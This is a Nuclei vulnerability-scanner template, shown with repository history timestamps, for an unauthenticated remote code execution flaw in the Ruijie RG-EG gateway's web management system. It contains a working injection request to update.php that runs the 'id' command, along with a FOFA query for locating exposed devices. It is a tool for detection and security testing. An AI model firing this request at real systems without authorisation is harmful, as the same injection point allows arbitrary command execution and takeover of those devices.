nuclei-templates/http/vulnerabilities/ruijie/ruijie-rg-eg-web-mis-rce.yaml

42 lines
1.4 KiB
YAML
Raw Normal View History

2023-12-25 01:05:52 +00:00
id: ruijie-rg-eg-web-mis-rce
info:
name: Ruijie RG-EG - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
Ruijie RG-EG easy gateway WEB management system front-end RCE has a command execution vulnerability. An attacker without identity authentication can execute arbitrary commands to control server permissions.
reference:
- https://github.com/xinyisleep/pocscan/blob/main/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_WEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py
metadata:
fofa-query: body="请输入您的RG-EG易网关的用户名和密码"
max-request: 2
verified: true
2023-12-25 01:05:52 +00:00
tags: ruijie,router,iot,rce
2024-01-16 08:23:28 +00:00
flow: http(1) && http(2)
2023-12-25 01:05:52 +00:00
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
2024-01-10 14:07:36 +00:00
internal: true
2023-12-25 01:05:52 +00:00
dsl:
- 'status_code == 200'
- 'contains(body, "ruijie")'
condition: and
- method: GET
path:
- "{{BaseURL}}/update.php?jungle=id"
2023-12-25 17:47:23 +00:00
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
condition: and
# digest: 4b0a0048304602210094d896a5691134524b62fdc757f9a88e140de69b93470938794901dbdc0c1cd8022100f804b0e5e6215435fc4ef13bff8fc0d43497a747ed4e0d9e92a320f284966505:922c64590222798bb761d5b6d8e72950